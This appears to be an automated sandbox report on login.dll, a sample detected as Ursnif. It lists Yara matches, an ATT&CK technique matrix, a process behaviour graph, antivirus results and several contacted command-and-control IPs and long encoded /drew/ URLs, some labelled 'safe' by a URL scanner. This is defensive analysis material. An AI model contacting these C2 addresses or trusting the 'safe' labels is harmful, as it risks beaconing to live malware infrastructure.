      Source: Yara matchFile source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTR

      Remote Access Functionality

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTR

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts2
      Windows Management Instrumentation      		1
      DLL Side-Loading      		111
      Process Injection      		11
      Virtualization/Sandbox Evasion      		OS Credential Dumping1
      System Time Discovery      		Remote Services11
      Archive Collected Data      		Exfiltration Over Other Network Medium2
      Encrypted Channel      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
      Data Encrypted for Impact
      Default Accounts12
      Native API      		Boot or Logon Initialization Scripts1
      DLL Side-Loading      		111
      Process Injection      		LSASS Memory121
      Security Software Discovery      		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
      Ingress Tool Transfer      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
      Deobfuscate/Decode Files or Information      		Security Account Manager11
      Virtualization/Sandbox Evasion      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
      Non-Application Layer Protocol      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)2
      Obfuscated Files or Information      		NTDS1
      Process Discovery      		Distributed Component Object ModelInput CaptureScheduled Transfer12
      Application Layer Protocol      		SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
      Regsvr32      		LSA Secrets1
      Account Discovery      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
      Replication Through Removable MediaLaunchdRc.commonRc.common1
      Rundll32      		Cached Domain Credentials1
      System Owner/User Discovery      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
      External Remote ServicesScheduled TaskStartup ItemsStartup Items1
      DLL Side-Loading      		DCSync1
      Remote System Discovery      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
      File and Directory Discovery      		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow124
      System Information Discovery      		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 800174 Sample: login.dll Startdate: 07/02/2023 Architecture: WINDOWS Score: 96 37 Snort IDS alert for network traffic 2->37 39 Malicious sample detected (through community Yara rule) 2->39 41 Multi AV Scanner detection for submitted file 2->41 43 Yara detected  Ursnif 2->43 7 loaddll32.exe 8 2->7         started        process3 dnsIp4 31 checklist.skype.com 7->31 51 Found evasive API chain (may stop execution after checking system information) 7->51 53 Found API chain indicative of debugger detection 7->53 55 Writes or reads registry keys via WMI 7->55 57 Writes registry values via WMI 7->57 11 regsvr32.exe 7 7->11         started        15 cmd.exe 1 7->15         started        17 rundll32.exe 7 7->17         started        19 conhost.exe 7->19         started        signatures5 process6 dnsIp7 33 checklist.skype.com 11->33 59 System process connects to network (likely due to code injection or exploit) 11->59 61 Found evasive API chain (may stop execution after checking system information) 11->61 63 Found API chain indicative of debugger detection 11->63 65 2 other signatures 11->65 21 rundll32.exe 7 15->21         started        35 checklist.skype.com 17->35 signatures8 process9 dnsIp10 25 185.31.160.197, 49698, 49699, 49700 SPACENET-ASInternetServiceProviderRU Russian Federation 21->25 27 194.116.163.130, 49706, 49707, 49708 MGNHOST-ASRU Russian Federation 21->27 29 2 other IPs or domains 21->29 45 Found evasive API chain (may stop execution after checking system information) 21->45 47 Found API chain indicative of debugger detection 21->47 49 Writes registry values via WMI 21->49 signatures11

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      login.dll15%ReversingLabs
      login.dll16%VirustotalBrowse

      Dropped Files

      ⊘No Antivirus matches

      Unpacked PE Files

      SourceDetectionScannerLabelLinkDownload
      0.2.loaddll32.exe.2c50000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      3.2.regsvr32.exe.3080000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      3.2.regsvr32.exe.2df0000.0.unpack100%AviraHEUR/AGEN.1221353Download File
      5.2.rundll32.exe.4cc0000.0.unpack100%AviraHEUR/AGEN.1221353Download File
      4.2.rundll32.exe.4780000.0.unpack100%AviraHEUR/AGEN.1221353Download File
      4.2.rundll32.exe.4be0000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      5.2.rundll32.exe.4d50000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      0.2.loaddll32.exe.2bf0000.0.unpack100%AviraHEUR/AGEN.1221353Download File

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://194.116.163.130/0%Avira URL Cloudsafe
      http://31.41.44.76/dows0%Avira URL Cloudsafe
      http://checklist.skypeaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pd0%Avira URL Cloudsafe
      http://194.116.163.130/drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/Jo0%Avira URL Cloudsafe
      http://185.31.160.197/0%Avira URL Cloudsafe
      http://194.116.163.130/drew/Qf8veUJSbJWr/7lAEj8zPysi/PkDl25ePqDI0mO/NCCWESxolfgmnP22UsTr8/wqLYFq_2BxIKE1eW/qSpp9_2B5sFoBDM/Qqs0G5It1nbxCoX126/y2EL52tIQ/ox_2FFB5mgE6T239nJXG/k9kwxCZbCeCFO2jL1kR/x1fMQ88Ph64gkQxb3NmmiZ/GmsAvbJmVh0Jm/tws4Qzjc/z_2FnaryumtjXFtwB2yfxF5/XDoip4vmKE/LjA3gkWhyM_2BI5L7/uM2W4YAxbdGx/OzOP5CNWAKZ/765rFe2Xu_2BfT6/mGCq.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2FsWhRs/_2BrPOgzoCK7kxbVkt/oe_2BqS0X/nJkE02wURCRcr3jmcRLy/EThsMigo1zfS9ty0ee_/2ByStDMdmFmYA3tiMo12kA/KlC_2FTJrPIRb/oDPOe247/qLaUvbKqJn0IyrixuXOD916/hv1gsxxC3Y/5zpLW0YacAYowmRRR/IpB6xQpV8yYA/5T1p4hnGVC4/5TMFifNpxbmTmv/g3suENklraBwgzMg/w.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdU5IXdpzFO54gr3_2F97n/SVVjHicscA15t/l6VtmWpP/71vHxqjc99D6co7U7_2Fe6g/n1qCYEFXGL/KpBZjIAujeCiOYPPJ/DtliWKU_2BEs/C_2BudJz9AO/WcvMnXMUPqAgay/OXgiy11BNNdmXwccKrHVq/3wydv2y.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UV0%Avira URL Cloudsafe
      http://185.310%Avira URL Cloudsafe
      http://31.41.44.76/0%Avira URL Cloudsafe
      http://185.31.160.197/drew/WssPGtPw9/cInsr4z6sL58bW1qFACy/FPGytKj5sF_2FJhHDbS/JMVb_2F9jtmGpLuldBc30T/geFSag0kzmRYH/bkk9mxLu/T1Vk5rnPNwJhQZh14vDt0p5/P_2B1hkVRr/UipQ1gxWfytKWu_2F/6BcCYE5HNWOT/zEWstqB3_2B/DtUz5JgsOCfC_2/FsybDaKHmMdU1vCLMfI5x/6SHr0VZWsd3ZSFoq/_2FoNuCdDOJjmcC/wYxb3p1qFp9rBbBBCA/RR6vk5u_2/BuskSJGsdXgk1UBg9plO/yWHXNMOtiR1Ac4/RuM.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/YiQ5UyNb1AJgnvxjy_2BM/RlH5WVve6OZwHuHV/nWvcJh7IwU8V_2F/BAKhUnv4WDO432I6Cy/hDkFT5W1K/UJNhYmXmogUNCrCSqk5H/lS4rHem3dtLce0YT1QS/hkZ_2FBKDoY9IQgRqEdbQJ/3CyYFvLdQzHVg/x7rsQTcN/W7sIIHrQcumHRyF3UrWRrg1/4VahkAPD5t/oKgqaEX091n4L_2F5/fCfjur48K8Qg/sG5u_2FUEjo/pZ6TXsstKDeNva/ND7kaJkrgLTjxReq37gkL/qhhWkG_2Bnto3f/e4V_2BaI/1.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVp3Gh3ls9EFwLl5Jc3BZN/nGUe5TcWlRkhl/Vbch5ltk/8hxF3_2Bp3HJgW9iErNujVg/8qo57FnWLw/M00mJuAkLwqexX60_/2Ba6EndxloMt/uW3YZxSkfRY/M53qt3qEulUeT4/fTMrLhRVTec_2FdJ5jp6x/nB5Wk73hWf1u6uat/Iu7q3DTCQdUsQRD/i2qOhoPPYn3YePHW7u/xqbc969YZhc3G/cPhv8.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/YnuOM5xT27p0PmRl1Cwn/sHfpKrHtm3IGAqKf5oE/1_2FQ7swiV75HAr8OQp4_2/FTJuvvpsJ4vrE/5CHodcYH/FvKE3Awud_2FuI6D8RC4vxO/jlBJVJhS1W/kWWybhfV9ayTjhbnf/bYlxgQ0l6E5_/2Be4zTGPJXY/1jOL3CdqlKh9V7/C3fq9ZEtYfl8Q_2BXYnQR/ZutaXynzRXd4iLId/_2BYxjCGmLsaVaV/ijuyPyyQi_2FEga3LP/wr7j4_2Fp/DHPaKLP54f0U3CWbY84f/moy8sWWVBKAm6XbHQuu/smXEt13.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrEr0%Avira URL Cloudsafe
      http://185.31.160.197/drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC90%Avira URL Cloudsafe
      http://194.116.163.130LRPC-b584c64820c5bc32ecr0%Avira URL Cloudsafe
      http://185.31.160.197/drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYS0%Avira URL Cloudsafe
      http://31.41.44.76/drew/vr_2B0Ss/hnAfqRh8WqONqQTajFZspU1/n47dz3bnIJ/nr8avK457NdUiLqTL/ZRUWzmBgh_2F/l2jCI4l2WIb/ZlcAov2mWHtc4S/IG5qrKW1Ucsl7HXDhkMb1/UuHpO9lWfV8IVisA/sRsBPsEmP9EnOLW/4DYnyZIHkFVSNadLYL/KhWfwPGS0/z_2BGNhOv1Zl_2FVwYsz/N9ptvDeoH0GEOu8UzRp/tA_2FymU7H4cLFwKrxJBW8/lEpnlzJEfo_2B/TkI4tuDd/jl9PFma2CyccawGQrYOkvDD/r_2F6X4O31/J7n.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/ppXmNkbUPMM_/2FM2Xr4sEFa/a728DULR3atqUC/bCL0HSUo53lWl2sLhbZts/o4scwq5OfKTrPD7t/UNAyP4fNA8XBP_2/BEX8k2kScpq7rqtuOe/2f7ZPTT_2/F6BHRL3gYxmumqorkkWG/rJZVOQ2zsqPZd1oqtTm/2lWGLTzP5T9wSu9ihKmOOe/sA8wq_2BbQ7ZL/HW_2BHK4/vjbEvpA5pCLOG2sfsa3yOjK/i9jYWumAJ5/a5d9BrpDEc_2B7rVr/UDCuuI34JOdU/BOrtAjLf6_2/FX7Nl_2FoRH3A/XxFg0SxFF/C.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2F0%Avira URL Cloudsafe
      http://194.116.163.130/drew/lIwih8DgqvU8q/wBSeo3Ik/2zDJI9Vfh8aCFQbpIGY1Gz5/6q81ddOtq2/4ULtrIM_2BEdMCi_2/B3LtElUMjUq8/ykAcaKXUUON/C70tYww8NuU_2B/Qnh1skDTZkUCnTL9XF_2B/aiyp8l662ZO_2BMs/X9BekuAIwiuALz2/v_2BTtX2yyeEbmIuLE/7WgtmmHUz/QkNTxGWjmb27vMlbCUnP/gKCziHhf8nzBjzpOWIV/c0bqvUD_2FGIpZbFRXCt82/x01HXQ2nbZghY/do8q6AUT/ilguTeIeFEYE/ruKVa85Vts/p.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErm/5nEhtgG7Hp2/zbOXjiri8c5UQP/HwViNu2EHfWxjBwk3As1s/29DojuZF5zhJISfQ/H3WqudbNq23cuko/N6r3xnulzXgdgfn7r3/iMzXt36Pz/hTsJCgysUP32NXqzsCHB/WEkiHTP3N6okgNckR9a/O3kCLqh9_2BveKs4VkbfTJ/dliNqPNdIvs8S/MeBvpSBz/csPLNKavKSKaNIKnwbXXUim/YNfJ4.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9gZmiMRTyysYi/MDWwBphU1_2F4nDtPCwb7Q/d2SnzYa3MGBY0/YibZ_2BM/j6T2h_2BnsnstyqO_2FdZkB/f46qik_2BK/_2F_2B_2FqlG_2Ff_/2FUcQnSgjIge/QPz1KCD9GeI/UkTDE6hQf5nEi3/mZoYVayKfEJLWN9ucg88R/I4BoM1NdGVsllvKy/8qL9zvI3U3rVf09/ugaVsxQgobuqMU7KMf/DgyN9EOdWaey/ukl7G09K/W.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSpKl48rwMxG3fS_2Bh/kyZDOxqU4b_2FpF4/WoAtYbEKP2GNHwJ/IpgKqUcAf6Rp2Udzmk/LaML_2FTW/lYRaZ_2BK5ar8SZhZsu5/_2BxBTtQn722DxwGyVC/pVSF1NREJUJBkD37zO9rNZ/zFf3wm2ZVOuZj/EYr3Y1KR/mPXfKnLCL_2BrxjlwGgxBlT/8pNS8_2BGz/EzV33yjOW6jnBdU_2/FcxIS0uffSkY/8y8vXK3ZLX7jmj/L.jlk0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      checklist.skype.com
      		unknown
      		unknownfalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        http://185.31.160.197/drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9gZmiMRTyysYi/MDWwBphU1_2F4nDtPCwb7Q/d2SnzYa3MGBY0/YibZ_2BM/j6T2h_2BnsnstyqO_2FdZkB/f46qik_2BK/_2F_2B_2FqlG_2Ff_/2FUcQnSgjIge/QPz1KCD9GeI/UkTDE6hQf5nEi3/mZoYVayKfEJLWN9ucg88R/I4BoM1NdGVsllvKy/8qL9zvI3U3rVf09/ugaVsxQgobuqMU7KMf/DgyN9EOdWaey/ukl7G09K/W.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://185.31.160.197/drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSpKl48rwMxG3fS_2Bh/kyZDOxqU4b_2FpF4/WoAtYbEKP2GNHwJ/IpgKqUcAf6Rp2Udzmk/LaML_2FTW/lYRaZ_2BK5ar8SZhZsu5/_2BxBTtQn722DxwGyVC/pVSF1NREJUJBkD37zO9rNZ/zFf3wm2ZVOuZj/EYr3Y1KR/mPXfKnLCL_2BrxjlwGgxBlT/8pNS8_2BGz/EzV33yjOW6jnBdU_2/FcxIS0uffSkY/8y8vXK3ZLX7jmj/L.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://194.116.163.130/drew/Qf8veUJSbJWr/7lAEj8zPysi/PkDl25ePqDI0mO/NCCWESxolfgmnP22UsTr8/wqLYFq_2BxIKE1eW/qSpp9_2B5sFoBDM/Qqs0G5It1nbxCoX126/y2EL52tIQ/ox_2FFB5mgE6T239nJXG/k9kwxCZbCeCFO2jL1kR/x1fMQ88Ph64gkQxb3NmmiZ/GmsAvbJmVh0Jm/tws4Qzjc/z_2FnaryumtjXFtwB2yfxF5/XDoip4vmKE/LjA3gkWhyM_2BI5L7/uM2W4YAxbdGx/OzOP5CNWAKZ/765rFe2Xu_2BfT6/mGCq.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://31.41.44.76/drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2FsWhRs/_2BrPOgzoCK7kxbVkt/oe_2BqS0X/nJkE02wURCRcr3jmcRLy/EThsMigo1zfS9ty0ee_/2ByStDMdmFmYA3tiMo12kA/KlC_2FTJrPIRb/oDPOe247/qLaUvbKqJn0IyrixuXOD916/hv1gsxxC3Y/5zpLW0YacAYowmRRR/IpB6xQpV8yYA/5T1p4hnGVC4/5TMFifNpxbmTmv/g3suENklraBwgzMg/w.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://194.116.163.130/drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdU5IXdpzFO54gr3_2F97n/SVVjHicscA15t/l6VtmWpP/71vHxqjc99D6co7U7_2Fe6g/n1qCYEFXGL/KpBZjIAujeCiOYPPJ/DtliWKU_2BEs/C_2BudJz9AO/WcvMnXMUPqAgay/OXgiy11BNNdmXwccKrHVq/3wydv2y.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://194.116.163.130/drew/lIwih8DgqvU8q/wBSeo3Ik/2zDJI9Vfh8aCFQbpIGY1Gz5/6q81ddOtq2/4ULtrIM_2BEdMCi_2/B3LtElUMjUq8/ykAcaKXUUON/C70tYww8NuU_2B/Qnh1skDTZkUCnTL9XF_2B/aiyp8l662ZO_2BMs/X9BekuAIwiuALz2/v_2BTtX2yyeEbmIuLE/7WgtmmHUz/QkNTxGWjmb27vMlbCUnP/gKCziHhf8nzBjzpOWIV/c0bqvUD_2FGIpZbFRXCt82/x01HXQ2nbZghY/do8q6AUT/ilguTeIeFEYE/ruKVa85Vts/p.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://185.31.160.197/drew/WssPGtPw9/cInsr4z6sL58bW1qFACy/FPGytKj5sF_2FJhHDbS/JMVb_2F9jtmGpLuldBc30T/geFSag0kzmRYH/bkk9mxLu/T1Vk5rnPNwJhQZh14vDt0p5/P_2B1hkVRr/UipQ1gxWfytKWu_2F/6BcCYE5HNWOT/zEWstqB3_2B/DtUz5JgsOCfC_2/FsybDaKHmMdU1vCLMfI5x/6SHr0VZWsd3ZSFoq/_2FoNuCdDOJjmcC/wYxb3p1qFp9rBbBBCA/RR6vk5u_2/BuskSJGsdXgk1UBg9plO/yWHXNMOtiR1Ac4/RuM.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://31.41.44.76/drew/YiQ5UyNb1AJgnvxjy_2BM/RlH5WVve6OZwHuHV/nWvcJh7IwU8V_2F/BAKhUnv4WDO432I6Cy/hDkFT5W1K/UJNhYmXmogUNCrCSqk5H/lS4rHem3dtLce0YT1QS/hkZ_2FBKDoY9IQgRqEdbQJ/3CyYFvLdQzHVg/x7rsQTcN/W7sIIHrQcumHRyF3UrWRrg1/4VahkAPD5t/oKgqaEX091n4L_2F5/fCfjur48K8Qg/sG5u_2FUEjo/pZ6TXsstKDeNva/ND7kaJkrgLTjxReq37gkL/qhhWkG_2Bnto3f/e4V_2BaI/1.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://194.116.163.130/drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVp3Gh3ls9EFwLl5Jc3BZN/nGUe5TcWlRkhl/Vbch5ltk/8hxF3_2Bp3HJgW9iErNujVg/8qo57FnWLw/M00mJuAkLwqexX60_/2Ba6EndxloMt/uW3YZxSkfRY/M53qt3qEulUeT4/fTMrLhRVTec_2FdJ5jp6x/nB5Wk73hWf1u6uat/Iu7q3DTCQdUsQRD/i2qOhoPPYn3YePHW7u/xqbc969YZhc3G/cPhv8.jlktrue
        • Avira URL Cloud: safe
        		unknown
